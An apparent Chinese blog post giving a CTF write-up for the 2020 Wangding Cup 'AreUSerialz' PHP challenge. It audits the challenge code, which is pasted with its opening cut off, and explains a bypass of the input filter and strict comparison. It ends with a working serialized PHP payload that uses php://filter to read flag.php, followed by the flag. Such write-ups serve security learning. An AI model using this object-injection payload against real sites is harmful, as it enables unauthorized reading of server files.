博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
[网鼎杯 2020 青龙组]AreUSerialz
阅读量:4026 次
发布时间:2019-05-24

本文共 3118 字,大约阅读时间需要 10 分钟。

这是一个代码审计题:

process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]:
"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }}function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }}

分成3块,一块是定义FileHandler的类,一块是is_valid函数,最后一块是GET传值。

先讲最后一块函数。

if(isset($_GET{'str'})) {    $str = (string)$_GET['str'];    if(is_valid($str)) {        $obj = unserialize($str);    }

先GET接收一个str参数,然后利用is_valid函数检测,检测不通过直接报错,检测通过直接进行反序列化。


然后是is_valid函数:

function is_valid($s) {    for($i = 0; $i < strlen($s); $i++)        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))            return false;    return true;}

其实就是将传入的参数循环一遍,要求ASCII码在32–125之间。


最后是反序列化,这里需要研究一下FileHandler类。

__destruct魔术方法在对象销毁时执行,__construct()魔术方法在每次创建新对象时调用。我们传入对象时已经创建好,所以不需要调用__construct()方法。

function __destruct() {    if($this->op === "2")        $this->op = "1";    $this->content = "";    $this->process();}

在这里如果op==='2'则会覆盖为'1',然后content被置空,并进入process。在process我们需要调用read()函数,所以需要让op=2。而这里是强等号,所以传入op=2即可,2是整形,'2’是字符型,2==='2'==>False

public function process() {    if($this->op == "1") {        $this->write();    } else if($this->op == "2") {        $res = $this->read();        $this->output($res);    } else {        $this->output("Bad Hacker!");    }}

在这里调用read()函数,并在output()函数中进行输出。

private function read() {    $res = "";    if(isset($this->filename)) {        $res = file_get_contents($this->filename);    }    return $res;}

这里利用file_get_contents()函数对文件进行读取,可以利用php:filter伪协议进行读取。于是将filename置为php://filter/read=convert.base64-encode/resource=flag.php。这个结果会在前段直接展示,如果不用伪协议读取的话,在源码

所以payload构造为:

传入后发现:在这里插入图片描述

不行的原因是private和protect类型在序列化的时候会生成%00,不能通过is_valid函数的检验。

在php7.1+的环境下对属性的要求不是很敏感,所以可以用public属性绕过:

//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

在这里插入图片描述

如果不用php伪协议的话,payload:

可以直接在源码页查看到flag

在这里插入图片描述
flag{e7240887-bc89-4f16-95f6-8f71e6f96b85}

转载地址:http://qxpbi.baihongyu.com/

你可能感兴趣的文章
getpeername,getsockname
查看>>
让我做你的下一行Code
查看>>
浅析:setsockopt()改善程序的健壮性
查看>>
关于对象赋值及返回临时对象过程中的构造与析构
查看>>
VS 2005 CRT函数的安全性增强版本
查看>>
SQL 多表联合查询
查看>>
Visual Studio 2010:C++0x新特性
查看>>
drwtsn32.exe和adplus.vbs进行dump文件抓取
查看>>
cppcheck c++静态代码检查
查看>>
CLOSE_WAIT和TIME_WAIT
查看>>
在C++中使用Lua
查看>>
在Dll中调用自身的位图资源
查看>>
IP校验和详解
查看>>
C++中使用Mongo执行count和distinct运算
查看>>
一些socket的编程经验
查看>>
socket编程中select的使用
查看>>
C++获取文件大小常用技巧分享
查看>>
未来5年大机遇:做贩卖多巴胺的超级玩家
查看>>
关于AIS编码解码的两个小问题
查看>>
GitHub 万星推荐:黑客成长技术清单
查看>>